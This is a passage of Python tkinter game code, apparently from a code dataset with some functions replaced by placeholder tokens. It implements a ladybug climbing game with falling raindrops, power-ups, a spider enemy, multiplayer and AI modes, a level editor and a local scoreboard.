data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\ndef helpKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\ndef run(width=15000, height=25000):\n\n def redrawAllWrapper(canvas, data):\n canvas.delete(ALL)\n redrawAll(canvas, data)\n canvas.update()\n\n def mousePressedWrapper(event, canvas, data):\n mousePressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def keyPressedWrapper(event, canvas, data):\n keyPressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def timerFiredWrapper(canvas, data):\n timerFired(data)\n redrawAllWrapper(canvas, data)\n canvas.after(data.timerDelay, timerFiredWrapper, canvas, data)\n\n\n class Struct(object):\n pass\n data = Struct()\n data.width = width\n data.height = height\n data.timerDelay = 100\n root = Tk()\n init(data)\n canvas = Canvas(root, width=data.width, height=data.height)\n canvas.pack()\n root.bind('<Button-1>', lambda event: mousePressedWrapper(event, canvas,\n data))\n root.bind('<Key>', lambda event: keyPressedWrapper(event, canvas, data))\n timerFiredWrapper(canvas, data)\n root.mainloop()\n print('bye!')\n\n\n<code token>\n", "<import token>\n\n\ndef init(data):\n data.score = 0\n data.mode = 'splashScreen'\n data.timerDelay = 100\n data.height = 800\n data.width = 800\n data.speed = 10\n data.speedAI = 12\n data.speedAI2 = 12\n data.switchOnProgress = False\n data.r = 25\n data.cx = 280\n data.cy = 750\n data.onLeft1, data.onLeft2 = True, True\n data.win = False\n data.coconuts = []\n data.powerUps = []\n data.coconuts1 = []\n data.coconuts2 = []\n data.coconutsAI1 = []\n data.coconutsAI2 = []\n data.invincible = []\n data.pauseDrops = False\n data.pause1Drop = False\n data.pause2Drop = False\n init1(data)\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\ndef init3(data):\n data.yes = data.notClick\n data.no = data.notClick\n data.enter = data.notClick\n data.levelEditorLives = 2\n data.rSpeed = None\n data.start = None\n data.start1 = None\n data.start2 = None\n data.difficulty = None\n data.mode1 = data.notClick\n data.mode2 = data.notClick\n data.mode3 = data.notClick\n data.mode4 = data.notClick\n data.mode5 = data.notClick\n data.mode6 = data.notClick\n data.home = PhotoImage(file='home.gif')\n data.helpScreen = PhotoImage(file='help1.gif')\n data.title = PhotoImage(file='title.gif')\n data.scoreList = []\n data.spotList = [270, 364, 458, 552, 646, 740]\n data.savedScores = readFile('score.txt')\n if data.mode == 'levelCreated':\n setEverything(data)\n initsplashScreenNumbers(data)\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\ndef mousePressed(event, data):\n if data.mode == 'splashScreen':\n splashScreenMousePressed(event, data)\n elif data.mode == '1Player':\n playerMousePressed(event, data)\n elif data.mode == '2Player':\n twoPlayerMousePressed(event, data)\n elif data.mode == 'editor':\n editorMousePressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedMousePressed(event, data)\n elif data.mode == 'AI':\n AIMousePressed(event, data)\n elif data.mode == 'difficulty':\n difficultyMousePressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardMousePressed(event, data)\n elif data.mode == 'help':\n helpMousePressed(event, data)\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\ndef timerFired(data):\n if data.mode == 'splashScreen':\n splashScreenTimerFired(data)\n elif data.mode == '1Player':\n playerTimerFired(data)\n elif data.mode == '2Player':\n twoPlayerTimerFired(data)\n elif data.mode == 'editor':\n editorTimerFired(data)\n elif data.mode == 'levelCreated':\n levelCreatedTimerFired(data)\n elif data.mode == 'AI':\n AITimerFired(data)\n elif data.mode == 'difficulty':\n difficultyTimerFired(data)\n elif data.mode == 'scoreboard':\n scoreboardTimerFired(data)\n elif data.mode == 'help':\n helpTimerFired(data)\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef writeFile(path, contents):\n with open(path, 'wt') as f:\n f.write(contents)\n\n\ndef readFile(path):\n with open(path, 'rt') as f:\n return f.read()\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\ndef checkHome(event, data):\n if data.homeY - data.r <= event.y <= data.homeY + data.r:\n if data.homeX - data.r <= event.x <= data.homeX + data.r:\n init(data)\n\n\ndef coconutShot(data):\n if data.level > 0 and data.pauseDrops == False:\n if data.time % int(data.levelMax / data.level\n ) == 0 or data.time % 6 == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(data.Player1Max + data.buffer, data\n .width + data.buffer)\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n xPosition4 = random.randint(data.Player1Min - data.buffer, data\n .Player1Max + data.buffer)\n data.coconuts.append(Coconuts(xPosition4, 0))\n if data.time % 5 == 0:\n xPosition3 = random.randint(0, data.Player1Min - data.buffer)\n data.coconuts.append(Coconuts(xPosition3, 0))\n if data.time % int(24 / data.level) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(data.Player1Min, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(data.Player1Max, 0))\n powerUpCoconutShot(data)\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\ndef madeIt(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 70, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n canvas.create_text(data.width / 2, 100, text='Score: %d' % data.score,\n font='Arial 15 bold', fill='yellow')\n canvas.create_text(data.width / 2, 375, text=\n 'Congrats! Enter your Name!', font='Arial 15 bold', fill='yellow')\n canvas.create_rectangle(data.width / 2 - 50, 400, data.width / 2 + 50, \n 450, fill='white')\n canvas.create_text(data.width / 2, 425, text=data.name)\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\ndef powerupDrop2Player(data):\n if data.time % 45 == 0 and data.time % 90 != 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n if data.time % 60 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(140, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.invincible.append(Invincible(344, 0))\n if data.pause2Drop != True:\n data.invincible.append(Invincible(755, 0))\n if data.time % 90 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.scaryBug.append(ScaryBug(140, 750))\n data.scaryBug.append(ScaryBug(540, 750))\n elif side == 'r':\n data.scaryBug.append(ScaryBug(344, 750))\n data.scaryBug.append(ScaryBug(755, 750))\n\n\n<function token>\n\n\ndef twoPlayerMousePressed(event, data):\n checkHome(event, data)\n\n\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef twoPlayerRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts1:\n coconut.draw(canvas)\n for coconut in data.coconuts2:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n canvas.create_text(50, 40, text='Player 1', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 2', font='Arial 15 bold', fill\n ='yellow')\n winner(canvas, data)\n drawHome(canvas, data)\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef editorKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef editorMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.yourSpeed = 'slow'\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.yourSpeed = 'medium'\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.yourSpeed = 'fast'\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n checkMiddle(event, data)\n checkLast(event, data)\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\ndef editorTimerFired(data):\n data.editorTime += 1\n if data.editorTime % 2 == 0:\n rainDrop(data)\n for drop in data.editorDrops:\n drop.onTimerFired(data)\n\n\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\ndef levelCreatedKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.levelEditorLives > 0:\n if event.keysym == 'Left' and data.cx >= 317:\n data.cx -= data.lane / 2\n elif event.keysym == 'Right' and data.cx <= 740:\n data.cx += data.lane / 2\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n 